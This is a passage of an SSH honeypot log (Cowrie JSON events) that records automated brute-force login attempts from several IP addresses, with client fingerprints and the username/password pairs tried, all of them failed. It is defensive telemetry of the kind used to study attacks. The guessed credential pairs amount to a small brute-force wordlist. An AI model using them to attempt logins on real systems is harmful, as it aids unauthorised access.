sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:42.220215Z","src_ip":"45.153.34.195","session":"c0f15fade4de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123456","message":"login attempt [marketing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:42.656753Z","src_ip":"45.153.34.195","session":"c0f15fade4de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:43.740545Z","src_ip":"45.153.34.195","session":"c0f15fade4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:44.108578Z","src_ip":"91.92.40.36","session":"4b4455b1b517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:44.428890Z","src_ip":"91.92.40.36","session":"25658ad5178f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59038,"dst_ip":"10.17.0.5","dst_port":22,"session":"17260f192d49","protocol":"ssh","message":"New connection: 45.153.34.195:59038 (10.17.0.5:22) [session: 17260f192d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:45.121061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:45.149367Z","src_ip":"45.153.34.195","session":"17260f192d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:45.229945Z","src_ip":"45.153.34.195","session":"17260f192d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:45.546226Z","src_ip":"45.153.34.195","session":"17260f192d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:46.683748Z","src_ip":"45.153.34.195","session":"17260f192d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59050,"dst_ip":"10.17.0.5","dst_port":22,"session":"976e562dd74a","protocol":"ssh","message":"New connection: 45.153.34.195:59050 (10.17.0.5:22) [session: 976e562dd74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:47.906795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:47.914432Z","src_ip":"45.153.34.195","session":"976e562dd74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:48.079165Z","src_ip":"45.153.34.195","session":"976e562dd74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:48.486655Z","src_ip":"45.153.34.195","session":"976e562dd74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47610,"dst_ip":"10.17.0.5","dst_port":22,"session":"36364e0ab80a","protocol":"ssh","message":"New connection: 91.92.40.36:47610 (10.17.0.5:22) [session: 36364e0ab80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:48.642351Z"}
{"eventid":"cowrie.login.failed","username":"pruebas","password":"pruebas","message":"login attempt [pruebas/pruebas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:48.719493Z","src_ip":"91.92.40.36","session":"4b4455b1b517","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:49.206714Z","src_ip":"91.92.40.36","session":"36364e0ab80a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:49.572606Z","src_ip":"45.153.34.195","session":"976e562dd74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:50.047183Z","src_ip":"91.92.40.36","session":"36364e0ab80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59064,"dst_ip":"10.17.0.5","dst_port":22,"session":"85d58a7e4d95","protocol":"ssh","message":"New connection: 45.153.34.195:59064 (10.17.0.5:22) [session: 85d58a7e4d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:50.860864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:50.866042Z","src_ip":"45.153.34.195","session":"85d58a7e4d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:50.955584Z","src_ip":"45.153.34.195","session":"85d58a7e4d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:51.134457Z","src_ip":"91.92.40.36","session":"4b4455b1b517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":51090,"dst_ip":"159.203.135.109","dst_port":22,"session":"586d4dfdd253","protocol":"ssh","message":"New connection: 201.17.146.173:51090 (159.203.135.109:22) [session: 586d4dfdd253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:51.194368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:51.198751Z","src_ip":"201.17.146.173","session":"586d4dfdd253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:51.371437Z","src_ip":"45.153.34.195","session":"85d58a7e4d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:51.388871Z","src_ip":"201.17.146.173","session":"586d4dfdd253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"npadmin","password":"npadmin","message":"login attempt [npadmin/npadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:52.012939Z","src_ip":"201.17.146.173","session":"586d4dfdd253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:52.462237Z","src_ip":"45.153.34.195","session":"85d58a7e4d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:53.147418Z","src_ip":"201.17.146.173","session":"586d4dfdd253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20498,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ebe2be7fccd","protocol":"ssh","message":"New connection: 45.153.34.195:20498 (10.17.0.5:22) [session: 3ebe2be7fccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:53.924187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:53.929548Z","src_ip":"45.153.34.195","session":"3ebe2be7fccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:54.014860Z","src_ip":"45.153.34.195","session":"3ebe2be7fccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:54.027559Z","src_ip":"91.92.40.36","session":"36364e0ab80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jpg","password":"123456","message":"login attempt [jpg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:54.271614Z","src_ip":"45.153.34.195","session":"3ebe2be7fccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:55.355165Z","src_ip":"45.153.34.195","session":"3ebe2be7fccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:56.247371Z","src_ip":"91.92.40.36","session":"36364e0ab80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20502,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2652dbc3d3a","protocol":"ssh","message":"New connection: 45.153.34.195:20502 (10.17.0.5:22) [session: b2652dbc3d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:56.711066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:56.752325Z","src_ip":"45.153.34.195","session":"b2652dbc3d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:56.864078Z","src_ip":"45.153.34.195","session":"b2652dbc3d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flow","password":"flow","message":"login attempt [flow/flow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:57.344578Z","src_ip":"45.153.34.195","session":"b2652dbc3d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:58.454409Z","src_ip":"45.153.34.195","session":"b2652dbc3d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20518,"dst_ip":"10.17.0.5","dst_port":22,"session":"7250f14dc32b","protocol":"ssh","message":"New connection: 45.153.34.195:20518 (10.17.0.5:22) [session: 7250f14dc32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:59.566377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:59.573347Z","src_ip":"45.153.34.195","session":"7250f14dc32b","protocol":"ssh"}
